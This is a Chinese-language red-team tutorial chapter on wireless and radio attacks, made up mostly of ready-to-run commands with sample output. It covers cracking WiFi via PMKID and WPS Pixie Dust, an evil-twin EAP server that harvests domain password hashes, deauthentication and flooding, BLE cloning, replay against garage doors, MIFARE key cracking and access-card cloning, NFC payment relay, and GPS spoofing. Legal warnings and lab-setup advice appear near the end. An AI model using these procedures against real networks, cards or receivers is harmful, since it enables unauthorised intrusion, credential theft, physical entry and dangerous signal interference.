07 — 无线与射频攻防

哲学:无线攻防不是”跑个 aircrack-ng 破解邻居 WiFi”——那是脚本小子的水平。真正的红队无线攻防覆盖 WiFi 全协议栈(WPA2/WPA3/PMKID/KRACK)、蓝牙全家族(BLE/Classic/Mesh)、SDR 全频谱(20MHz~6GHz)、NFC/RFID 全频段(125kHz/13.56MHz/UHF)、ZigBee/Z-Wave/LoRa 物联网协议,以及 GSM/LTE 移动通信。电磁波是你碰不到的网线,也是你跨物理隔离的最后一公里。

环境:Arch Linux,所有工具来自 pacman/AUR。硬件清单见文末 Part 8。

目标:每个实战都能直接复现——从插入USB设备到看到明文数据,中间零理论填充。

Part 1: WiFi 攻击全流程

1.0 环境准备:确认你的无线网卡

# 查看无线网卡
iwconfig
# 预期看到 wlan0 (或 wlp3s0) 等信息
 
# 查看USB无线网卡
lsusb
# Bus 003 Device 002: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11ac WLAN Adapter
# 常见红队芯片: RTL8812AU, RTL8814AU, MT76x2U, AR9271
# 踩坑提示: Intel 内置网卡 (iwlwifi) 对监听模式支持极差,别用!
 
# 查看网卡是否支持监听模式
iw list | grep -A 10 "Supported interface modes"
# 必须看到: * monitor  (否则硬件不支持)
 
# 列出支持的信道和频率
iw list | grep -E "MHz|dBm" | head -30
# 460: * 2412 MHz [1] (20.0 dBm)
# 461: * 2417 MHz [2] (20.0 dBm)
# ... 2.4G 1-14信道
# * 5180 MHz [36] (20.0 dBm)
# ... 5G 36-165信道

1.1 驱动程序常见问题与解决

# === RTL8812AU (Alfa AWUS036ACH / AWUS036ACS) ===
# 内核自带驱动通常有bug,建议用aircrack-ng维护的版本
git clone https://github.com/aircrack-ng/rtl8812au.git
cd rtl8812au
make && sudo make install
sudo modprobe -r rtw88_8822bu rtw88_8822be
sudo modprobe 88XXau
 
# 验证驱动加载
dkms status | grep 8812
# rtl8812au/5.6.4.2: added
 
# === MT76x2U (Alfa AWUS036ACM) ===
# kernel 5.4+ 内置支持,但需确认
sudo modprobe mt76x2u
iw list | grep mt76
 
# === AR9271 (Alfa AWUS036NHA / TP-Link TL-WN722N v1) ===
# 内核自带ath9k_htc驱动,monitor支持极好
# 但这张卡只支持2.4GHz b/g/n,没有5G没有ac

1.2 监听模式的正确开启方式

# 错误做法: 直接 airmon-ng start (它会重命名接口,导致后续工具混乱)
# 正确做法: 直接iw创建监听接口
 
# 方法1: 用iw直接创建(推荐)
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
# 验证
iw dev
# Interface wlan0
#     type monitor
#     channel 6 (2437 MHz), width: 20 MHz
 
# 方法2: airmon-ng (兼容老脚本)
sudo airmon-ng check kill  # 杀掉NetworkManager/wpa_supplicant等干扰进程
sudo airmon-ng start wlan0
# 输出: (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
# 注意: 接口名变成了 wlan0mon
 
# 方法3: 直接指定信道
sudo iw dev wlan0 set channel 6
sudo iwconfig wlan0 channel 6

1.3 恢复网卡到普通模式

sudo ip link set wlan0mon down
sudo iw dev wlan0mon set type managed
sudo ip link set wlan0mon up
 
# 重启网络服务(Arch系)
sudo systemctl restart NetworkManager
sudo systemctl restart wpa_supplicant
# 或直接
sudo systemctl restart iwd

实战2: PMKID 攻击(无需任何客户端连接)

原理: WPA3引入的PMKID机制被下放到WPA2。当AP在Beacon/Probe Response中携带RSN IE且支持PMKID时,攻击者无需等待握手即可获取可破解的hash。

优势: 不需要客户端、不需要deauth、静默、快速

硬件: RTL8812AU / MT76x2U 网卡

步骤1: 安装 hcxtools + hcxdumptool

sudo pacman -S hcxtools hcxdumptool
# 或从AUR安装最新版
yay -S hcxtools-git hcxdumptool-git

步骤2: 扫描并收集 PMKID

# 一键收集(推荐)
sudo hcxdumptool -i wlan0 -o pmkid_output.pcapng --enable_status=1
 
# 预期输出:
# start capturing on interface wlan0
# [04:15:22 - 001] BSSID: 0123456789ab ESSID: Office-Net
# [04:15:22 - 001] PMKID FOUND: 0123456789ab Office-Net
# [04:15:23 - 002] BSSID: cdef01234567 ESSID: HomeWiFi
# [04:15:23 - 002] PMKID FOUND: cdef01234567 HomeWiFi
# [04:15:25 - 003] BSSID: 89abcdef0123 ESSID: IoT-Network
# [04:15:25 - 003] PMKID NOT SUPPORTED <-- 这个AP不支持PMKID
 
# Ctrl+C 停止
 
# 用 bettercap 替代
sudo bettercap -eval "wifi.recon on; set wifi.show.sort clients desc; wifi.show"

步骤3: 转换 + 破解

# 转换
hcxpcapngtool -o pmkid.hc22000 pmkid_output.pcapng -E essid_list.txt
 
# 查看
cat pmkid.hc22000
# WPA*01*f6d48e...*bssid_here*essid_here***
 
# 破解
hashcat -m 22000 -a 0 pmkid.hc22000 /usr/share/wordlists/rockyou.txt
hashcat -m 22000 pmkid.hc22000 --show

实战4: WPS Pixie Dust 攻击

步骤1: 扫描WPS开启的AP

sudo wash -i wlan0
# 输出:
# BSSID              Ch  dBm  WPS  Lck  Vendor    ESSID
# AA:BB:CC:DD:EE:01   6  -35  2.0  No   Broadcom  Office-Net
# AA:BB:CC:DD:EE:07   1  -45  1.0  No   Ralink    HomeRouter
# AA:BB:CC:DD:EE:08  11  -55  2.0  Yes  Realtek   Locked-Router  <-- Lck=Yes!
# Lck 列: No = 可以攻击, Yes = WPS已锁定

步骤2: Pixie Dust 攻击(离线秒破)

sudo reaver -i wlan0 -b AA:BB:CC:DD:EE:01 -c 6 -vv -K 1
 
# 预期输出(成功时):
# [+] Associated with AA:BB:CC:DD:EE:01 (ESSID: Office-Net)
# [+] Starting Cracking Session. Pin count: 0
# [P] WPS Model Number: WRT1900AC
# [P] WPS Manufacturer: Linksys
# [Pixie-Dust]   [+] Running Pixie Dust attack
# [Pixie-Dust]   [+] Pixiewps PIN: 12345670
# [Pixie-Dust]   [*] Time taken: 0.85s
# [+] WPS PIN: '12345670'
# [+] WPA PSK: 'Summer2024!!'
# [+] AP SSID: 'Office-Net'

步骤3: 用 bully 的 Pixie 模式

sudo pacman -S bully
sudo bully wlan0 -b AA:BB:CC:DD:EE:01 -c 6 --pixie
 
# 如果Pixie Dust失败,回退到PIN暴力枚举
sudo bully wlan0 -b AA:BB:CC:DD:EE:01 -c 6 -v 3

步骤4: 专用工具 pixiewps

sudo pacman -S pixiewps  # AUR
# 手工抓取DH参数后用pixiewps离线爆破
pixiewps -e PKE_VALUE -r PKR_VALUE -s E_HASH1 -z E_HASH2 -a AUTHKEY -n ENROLLEE_NONCE
# pixiewps 支持的芯片: Ralink, Broadcom, Realtek, MediaTek, Marvell, Qualcomm Atheros, 联发科全系列, 博通大部分

实战6: WiFi 企业网络攻击 (802.1X / WPA-Enterprise)

6.1 EAP 中继攻击

cat > /tmp/eap.conf << 'EOF'
interface=wlan1
ssid=Corporate-WiFi
hw_mode=g
channel=6
ieee8021x=1
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
eap_server=1
eap_user_file=/tmp/hostapd-wpe.eap_user
ca_cert=/tmp/ca.pem
server_cert=/tmp/server.pem
private_key=/tmp/server.key
EOF
 
sudo hostapd-wpe /tmp/eap.conf
# 输出捕获的EAP认证信息:
# username: john.smith@corp.local
# challenge: 1020304050607080...
# jtr NETNTLM: john.smith@corp.local:$NETNTLM$112233$AABBCCDD...
 
# 将 hash 喂给 hashcat 破解域密码
echo 'john.smith@corp.local:$NETNTLM$112233$AABBCCDDEEFF00112233445566778899:1122334455667788' > /tmp/ntlm.hash
hashcat -m 5500 /tmp/ntlm.hash /usr/share/wordlists/rockyou.txt

6.2 证书验证绕过

openssl req -x509 -newkey rsa:2048 -keyout /tmp/server.key -out /tmp/server.pem -days 365 -nodes -subj "/CN=radius.corp.local"

6.3 ASLEAP 攻击(Cisco LEAP协议)

sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:06 -w leap_capture wlan0
asleap -r leap_capture-01.cap -W /usr/share/wordlists/rockyou.txt

实战8: WiFi 其他攻击技术合集

8.1 隐藏SSID 发现

# 等待合法客户端发送Probe Request(会包含真实SSID)
# 或 deauth 合法客户端,抓取重连时的Probe
sudo airodump-ng wlan0 --bssid HIDDEN_BSSID -w hidden
sudo aireplay-ng -0 1 -a HIDDEN_BSSID wlan0
# 在airodump-ng输出中ESSID列会瞬间显示真实SSID
 
# 用 mdk4 暴力探测隐藏SSID
sudo mdk4 wlan0 p -t HIDDEN_BSSID -f /usr/share/wordlists/ssid_list.txt

8.2 WiFi 认证洪水攻击

# 创建大量随机MAC,向AP发起认证请求,耗尽AP资源
sudo mdk4 wlan0 a -a AA:BB:CC:DD:EE:01

8.3 WiFi Direct / P2P 攻击

sudo iw dev wlan0 scan | grep -A10 "P2P"
sudo wpa_cli p2p_find
sudo wpa_cli p2p_connect TARGET_MAC pin display

实战9: BLE 设备侦查与枚举

9.1 基础扫描

# === hcitool (BlueZ自带) ===
sudo hcitool lescan --duplicates
# LE Scan ...
# 11:22:33:44:55:66 MI Band 3
# AA:BB:CC:DD:EE:01 Apple TV
# AA:BB:CC:DD:EE:02 Galaxy Watch4
# AA:BB:CC:DD:EE:03 Smart Lock Pro
 
# === bluetoothctl ===
bluetoothctl
[bluetooth]# scan on
# Discovery started
# [NEW] Device 11:22:33:44:55:66 MI Band 3
# [NEW] Device AA:BB:CC:DD:EE:01 Apple TV
[bluetooth]# devices
[bluetooth]# info AA:BB:CC:DD:EE:01

9.2 高级扫描: GATT服务枚举

# === bleah 扫描 ===
sudo pip install bleah
sudo bleah
 
# === gatttool 连接BLE设备 ===
sudo gatttool -b AA:BB:CC:DD:EE:03 -t random --primary
# 输出:
# attr handle: 0x0001, end grp handle: 0x0007 uuid: 00001800-0000-1000-8000-00805f9b34fb
# attr handle: 0x0008, end grp handle: 0x000b uuid: 00001801-0000-1000-8000-00805f9b34fb
# attr handle: 0x0013, end grp handle: 0x0019 uuid: 0000ffe0-0000-1000-8000-00805f9b34fb
# uuid含义:
# 0x1800 -> Generic Access
# 0x1801 -> Generic Attribute
# 0x180a -> Device Information
# 0xffe0 -> 自定义服务(重点关注!)
 
# === 读取特征值 ===
sudo gatttool -b AA:BB:CC:DD:EE:03 --char-read --uuid 0x2a00
 
# === 读取所有特征值 ===
sudo gatttool -b AA:BB:CC:DD:EE:03 --characteristics
# char properties:
#   0x02 = Read, 0x08 = Write, 0x10 = Notify
# 重点关注具有 0x08 (Write) 和 0x10 (Notify) 的特征值!

9.3 Bettercap BLE 模块

sudo bettercap
# 在bettercap交互shell中:
net.probe on
ble.recon on
ble.show
# 枚举特定设备的GATT信息
ble.enum 11:22:33:44:55:66
 
# 命令行启动
sudo bettercap -eval "ble.recon on; set ble.show.sort rssi asc; ble.show"

实战11: BLE 跟踪设备欺骗与隐私攻击

11.1 蓝牙信标识别与克隆

# 苹果 AirTag / 三星 SmartTag / Tile 等使用BLE广播定位
sudo hcidump -i hci0 -X
sudo btmon | tee /tmp/ble_monitor.log
 
# 用 OpenHaystack 框架追踪 AirTag
git clone https://github.com/seemoo-lab/openhaystack.git /opt/openhaystack

11.2 克隆设备MAC地址

sudo bdaddr -r AA:BB:CC:DD:EE:03    # 临时修改
sudo btmgmt public-addr AA:BB:CC:DD:EE:03  # 永久修改(重启后生效)
 
sudo hciconfig hci0 down
sudo hciconfig hci0 up
hciconfig hci0

Part 3: SDR (软件定义无线电)

3.0 SDR 硬件安装与验证

RTL-SDR (接收专用)

lsusb
# Bus 001 Device 004: ID 0bda:2838 Realtek Semiconductor Corp. RTL2838U DVB-T
 
# 检查内核是否接管了DVB驱动(需要踢掉它)
lsmod | grep dvb
# dvb_usb_rtl28xxu, rtl2832, dvb_usb_v2, dvb_core 已加载 -> 需要阻止!
 
# 永久阻止 DVB 驱动加载(推荐)
cat << EOF | sudo tee /etc/modprobe.d/rtlsdr-blacklist.conf
blacklist dvb_usb_rtl28xxu
blacklist rtl2832
blacklist dvb_usb_v2
blacklist dvb_core
EOF
 
sudo reboot
 
# 安装RTL-SDR工具链
sudo pacman -S rtl-sdr gnuradio gqrx urh
 
# 测试RTL-SDR是否工作
rtl_test -t
# Found 1 device(s):
#   0:  Realtek, RTL2838UHIDIR, SN: 00000001
# Found Rafael Micro R820T tuner
# Supported gain values (29): ...
 
# 测试采样
rtl_test -s 2048000
# Sampling at 2048000 S/s.
# lost at least 56 bytes  <- 少量丢失正常(USB带宽瓶颈)
 
# 设备信息
rtl_eeprom -d 0

HackRF One (收发两用)

sudo pacman -S hackrf
 
hackrf_info
# Found HackRF
# Index: 0
# Firmware Version: 2024.02.1 (API:1.07)
 
# 测试接收
hackrf_transfer -r /tmp/test_capture.iq -f 100000000 -s 8000000
 
# 测试发射(仅隔离环境或授权频段)
hackrf_transfer -t test_signal.iq -f 433920000 -s 2000000 -a 1 -x 20

实战14: 433MHz ISM频段 - 遥控/传感器信号捕获与重放

sudo pacman -S rtl_433
 
# 基础扫描(自动识别和解码)
rtl_433 -f 433920000 -S all
# 预期输出:
# [00]  Acurite 5n1 sensor  0x04, 0x56: 23.4 C  45 %  wind 3.2 km/h
# [01]  LaCrosse TX141TH-Bv2 sensor  ID: 123  Channel: 1  21.5 C
# [02]  Generic remote  House Code: 12345, Command: ON
# [03]  Kedsum Wireless Doorbell  ID: 9999  Button: 1
 
# 列出所有支持的协议
rtl_433 -f 433920000 -P
 
# 输出到JSON
rtl_433 -f 433920000 -F json 2>/dev/null | tee /tmp/sensor_data.jsonl
 
# 分析未知信号(脉冲时序)
rtl_433 -r /tmp/unknown_433.iq -A
# 输出:
# Pulse width distribution:
#  [0] count:   78,  width:  350 us -> 短脉冲
#  [1] count:   79,  width:  700 us -> 长脉冲
# -> 典型的OOK(On-Off Keying)调制,可能是曼彻斯特编码

Universal Radio Hacker (URH) 全流程分析

urh &
 
# URH 操作流程:
# 1. File -> New Project
# 2. Record Signal -> Device: RTL-SDR, Frequency: 433.92MHz, Rate: 2.048M
#    -> Start, 按下遥控器按钮, Stop
# 3. 双击信号 -> 右键 Demodulate -> 选择调制方式(通常ASK/OOK)
# 4. Analysis标签 -> Auto detect编码
#    - NRZ / Manchester / Differential Manchester
# 5. Generator标签 -> 修改bits -> 选择TX设备(HackRF) -> 发送重放

车库门/TMPS 攻击

# 车库门重放
hackrf_transfer -t captured_gate_signal.iq -f 433920000 -s 2000000 -a 1 -x 30
 
# TPMS(汽车胎压传感器)读取
rtl_433 -f 315000000 -R 110  # Schrader TPMS
rtl_433 -f 433920000 -R 88   # Toyota TPMS
# Toyota TPMS  ID: 0x1234ABCD  Pressure: 2.3 Bar  Temperature: 25 C

实战16: HackRF/PortaPack 实战发射

# PortaPack是HackRF的附加模块,提供屏幕和按键,可脱离电脑独立运行
# 固件: Mayhem (功能最全)
# https://github.com/portapack-mayhem/mayhem-firmware
 
# PortaPack手持操作:
# 1. Capture应用 -> 设置频率433.92MHz -> 录制
# 2. 按下目标遥控器 -> 停止录制
# 3. Replay应用 -> 选择文件 -> 发射重放
 
# POCSAG 寻呼机信号接收解码
rtl_fm -f 169.650M -M fm -s 22050 | multimon-ng -a POCSAG -t raw /dev/stdin
# POCSAG512: Address: 1234567  Function: 3  Alpha: 病房305呼叫...
 
# 提示:向真实寻呼网络发射是严重违法!

Part 4: NFC / RFID 攻防

4.0 硬件准备

# 确认读卡器连接
lsusb | grep -iE "acr|pn5|nfc|rfid|proxmark"
# Bus 001 Device 005: ID 072f:2200 Advanced Card Systems, Ltd ACR122U
# Bus 001 Device 007: ID 9ac4:4b8f Proxmark-3 RFID Instrument
 
# 如果PN532连接正常:
sudo nfc-list
# nfc-list uses libnfc 1.8.0
# NFC device: pn532_i2c:/dev/i2c-1 opened

推荐硬件选项:

硬件频率支持价格特点
ACR122U13.56MHz0NFC Forum兼容,支持libnfc
PN53213.56MHz0红板/蓝板,SPI/I2C/UART
Proxmark3 Easy125kHz + 13.56MHz0最强大,支持几乎所有RFID卡
Proxmark3 RDV4125kHz + 13.56MHz00专业级,内置电池
Chameleon Mini13.56MHz0卡模拟,可编程
Chameleon Tiny125kHz + 13.56MHz0双频模拟
Flipper Zero125kHz + 13.56MHz + SubGHz + BLE70多合一轻量方案

实战19: Proxmark3 完整操作

19.1 Proxmark3 初始化

lsusb | grep Proxmark
# Bus 001 Device 006: ID 9ac4:4b8f
 
yay -S proxmark3-git  # AUR
 
sudo proxmark3 /dev/ttyACM0
# 或者直接
pm3
#  ╭╮
#  |        Proxmark3 RDV4 (Iceman)             |
#  ╰╯
# [usb] pm3 -->

19.2 HF (13.56MHz) 操作

# === 搜索高频卡 ===
pm3 --> hf search
# [+]  UID: 11 22 33 44
# [+] TYPE: NXP MIFARE CLASSIC 1k
# [+] Magic capabilities: Gen 1a
# [+] Prng detection: weak
 
# === 破解MIFARE Classic密钥 ===
pm3 --> hf mf autopwn
# 全自动破解所有16个扇区密钥并dump数据
# [+] found keys:
# [+] | Sec | key A          | key B          |
# [+] | 000 | FFFFFFFFFFFF   | FFFFFFFFFFFF   |
# [+] | 001 | A0A1A2A3A4A5   | FFFFFFFFFFFF   |
# ... (所有16个扇区)
# [+] Auto dump to file: hf-mf-11223344-data.bin
 
# === 手动dump ===
pm3 --> hf mf dump
 
# === 读取特定扇区 ===
pm3 --> hf mf rdsc 0 A FFFFFFFFFFFF
 
# === 写入特定扇区 ===
pm3 --> hf mf wrbl 1 A FFFFFFFFFFFF 000102030405060708090A0B0C0D0E0F
 
# === 破解方法 ===
pm3 --> hf mf nested 0 A FFFFFFFFFFFF     # 嵌套攻击
pm3 --> hf mf darkside                    # Darkside攻击(PRNG缺陷)
pm3 --> hf mf hardnested                  # Hardnested攻击(侧信道)
 
# === 保存/加载dump ===
pm3 --> hf mf dump
pm3 --> hf mf restore -f /path/to/dump.bin

19.3 LF (125kHz) 操作

# === 搜索低频卡 ===
pm3 --> lf search
# [+] EM410x pattern found
# EM TAG ID      : 1122334455
 
# === 低频卡类型 ===
# EM4100/EM4102 - 只读, 40位ID, 最常见门禁卡
# T5577        - 可重写, 可模拟EM4100
# HID ProxCard - 26/35/37/40位格式
 
# === 读取T5577卡 ===
pm3 --> lf t55xx detect
pm3 --> lf t55xx dump
 
# === 写T5577卡(克隆EM4100) ===
pm3 --> lf em 410x clone --id 1122334455
 
# === HID ProxCard II 读取 ===
pm3 --> lf hid read
# HID Prox Card II - 26 bit format
# FC: 123   CN: 45678

19.4 模拟卡片

# === HF 模拟 MIFARE Classic ===
pm3 --> hf mf eload -f /tmp/dump.bin
pm3 --> hf mf sim -t 1
# 现在Proxmark3在13.56MHz表现为刚才dump的那张卡 -> 拿去刷门禁!
 
# === HF 模拟UID ===
pm3 --> hf 14a sim -u 11223344
 
# === LF 模拟 EM4100 ===
pm3 --> lf em 410x sim --id 1122334455

19.5 MIFARE 魔法卡 (UID可修改)

# 魔法卡(Chinese Magic Card): 可通过特殊命令修改UID
# Gen1 (UID卡): 直接写Block 0改UID
# Gen2 (CUID卡): 后门命令
# Gen3 (FUID卡): 只能写一次
# Gen4 (UFUID卡): 可多次写入
 
# Proxmark3操作魔法卡:
pm3 --> hf mf csetuid -u 11223344         # Gen1 改UID
pm3 --> hf mf csetuid -u 11223344 --gen 2 # Gen2 改UID
pm3 --> hf mf cwipe                       # 擦除(恢复)魔法卡
 
# 完整克隆流程:
# 1. pm3 -> hf mf autopwn (破解原卡)
# 2. pm3 -> hf mf dump (保存)
# 3. pm3 -> hf mf cload -f dump.bin (加载到魔法卡)
# 4. pm3 -> hf mf csetuid -u <原卡UID> (改UID)
# 5. pm3 -> hf mf restore -f dump.bin (写全卡)
# 6. 完成!

实战21: NFC 中继攻击 (Relay Attack)

# NFC协议层没有距离限制 -> 中继攻击
# 攻击者在受害者卡附近放读卡器(A), 在支付终端附近放模拟器(B)
# A收到挑战通过网络发给B, B发给POS机, 响应回传...
# POS机以为卡就在面前, 实际可能在10米外
 
# 工具: NFCGate
git clone https://github.com/nfcgate/nfcgate.git /opt/nfcgate
# 两个手机安装NFCGate App
# Reader模式靠近受害者钱包, Emulator模式靠近支付终端
# 通过WebSocket实现NFC中继
 
# 防御: 要求用户在支付时输入PIN或指纹(CDCVM)

实战23: Z-Wave 嗅探 (补充)

# Z-Wave 工作在 868/908MHz (不同地区)
# Z-Wave 频率(区域不同):
# EU: 868.42 MHz, US: 908.42 MHz, CN: 868.40 MHz
 
rtl_sdr -f 868.42M -s 1024000 /tmp/zwave_test.iq
# 在URH中打开分析

Part 7: GPS 欺骗 (概念)

# GPS 信号极其微弱(约-130dBm) -> 容易被伪造信号覆盖
 
git clone https://github.com/osqzss/gps-sdr-sim.git /opt/gps-sdr-sim
cd /opt/gps-sdr-sim
gcc gpssim.c -lm -O3 -o gps-sdr-sim
 
# 生成假GPS信号(静态)
./gps-sdr-sim -e brdc3540.14n -l 31.2304,121.4737,100 -b 8
# -e: GPS星历文件, -l: 纬度,经度,海拔
 
# 发射假GPS信号
hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 20
# GPS L1频率: 1575.42MHz
 
#  对真实GPS接收机发射欺骗信号是严重非法行为!
# 只能在实验室使用直接连接的同轴电缆测试(不通过天线)

Part 9: 实战环境搭建建议

9.1 最小合法实验环境

  • 1x RTL-SDR Blog V3 (5)
  • 1x Alfa AWUS036ACH (0)
  • 1x Proxmark3 Easy (0)
  • 1x CC2531 USB Dongle (0)
  • 若干T5577空白卡 (/张)
  • 若干MIFARE Classic 1K魔法卡 (/张)
  • 总价: ~55

所有设备均可合法购买和持有。仅在自己持有的设备上实验。

9.2 创建实验用WiFi

cat > /tmp/lab_ap.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=REDTEAM-LAB
hw_mode=g
channel=6
wpa=2
wpa_passphrase=labpassword123
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
 
sudo hostapd /tmp/lab_ap.conf
# 用自己的手机连接这个WiFi做实验目标

9.3 创建实验用BLE外设

用ESP32烧录示例代码(Arduino), 暴露多个GATT服务和特征值, 对自己的设备进行所有BLE攻击实验。

Part 11: 法律与合规操作指南

11.1 授权测试清单

  1. 获得书面授权: 渗透测试合同必须明确包含无线测试的范围
  2. 频率协调: 如果涉及发射,可能需要向当地无线电管理部门报备
  3. 隔离环境: WiFi和BLE测试尽量在屏蔽室内进行
  4. 数据保留: 测试结束后从所有设备上删除捕获的数据
  5. 报告披露: 所有发现的漏洞按合规流程报告,不私自利用

11.2 频率使用指南

频段用途发射限制
433.05-434.79 MHzISM (业余)低功率<10mW可短时发射
868-868.6 MHzSRD (欧洲)不同国家规定不同
902-928 MHzISM (美国)FCC Part 15覆盖
2.4-2.4835 GHzISM (全球)WiFi/BLE即此频段
5.725-5.875 GHzISM (全球)WiFi 5GHz在此
13.553-13.567 MHzISM (全球)NFC/RFID
所有其他频段受管制未经授权严禁发射!

11.3 国家/地区特别提醒

  • 中国大陆: 《无线电管理条例》严格管制所有频谱。未经批准擅自设置、使用无线电台(站)属违法行为。违规发射可处最高50万元罚款,情节严重构成犯罪。
  • 美国: FCC对非法发射的罚款可达每天0,000-00,000+。
  • 欧盟: ETSI标准严格,各国执法机构配备频谱监测车。
  • 日本: 电波法极其严格,HackRF等发射设备限制进口。

附录: 快速命令速查表

# ===== WiFi =====
iw dev wlan0 set type monitor                  # 开启监听模式
sudo airodump-ng wlan0                         # 扫描WiFi
sudo airodump-ng -c 6 --bssid MAC -w f wlan0   # 锁定目标
sudo aireplay-ng -0 10 -a AP_MAC wlan0         # Deauth踢下线
aircrack-ng -w dict.txt capture.cap            # 字典破解
hcxpcapngtool -o hash.hc22000 capture.cap      # 转hashcat格式
hashcat -m 22000 -a 0 hash.hc22000 dict.txt    # GPU破解PMKID/WPA
sudo wash -i wlan0                             # 找WPS设备
sudo reaver -i wlan0 -b BSSID -c CH -vv -K 1   # Pixie Dust
 
# ===== BLE =====
sudo hcitool lescan --duplicates               # BLE扫描
sudo gatttool -b MAC -t random --primary       # GATT枚举
sudo gatttool -b MAC --characteristics         # 特征值枚举
sudo bettercap -eval "ble.recon on; ble.show"  # Bettercap BLE扫描
pip install bleak                              # Python BLE库
 
# ===== SDR =====
rtl_test -t                                    # 测试RTL-SDR
rtl_sdr -f 433.92M -s 2048000 /tmp/cap.iq      # 录制IQ数据
rtl_433 -f 433920000 -S all                    # 解码433MHz信号
sudo dump1090 --interactive --net              # ADS-B飞机追踪
gqrx &                                         # GUI频谱分析
urh &                                          # 信号逆向工程
hackrf_info                                    # 检查HackRF
hackrf_transfer -t sig.iq -f 433.92M -a 1 -x 30 # 发射信号
 
# ===== NFC/RFID =====
sudo nfc-poll                                  # 扫描NFC标签
sudo mfoc -O /tmp/dump.mfd                     # 破解MIFARE Classic
pm3                                            # Proxmark3 shell
pm3 --> hf search                              # 搜索高频卡
pm3 --> hf mf autopwn                          # 自动破解MIFARE
pm3 --> lf search                              # 搜索低频卡
pm3 --> lf em 410x clone --id 1122334455       # 克隆EM4100
 
# ===== ZigBee =====
sudo zbstumbler -s                             # 扫描ZigBee网络
sudo zbdsniff -c 15 -o capture.pcap            # 嗅探ZigBee
sudo zbdkey -c 15                              # 提取网络密钥
sudo zbreplay -c 15 -f command.pcap -r 10      # 重放命令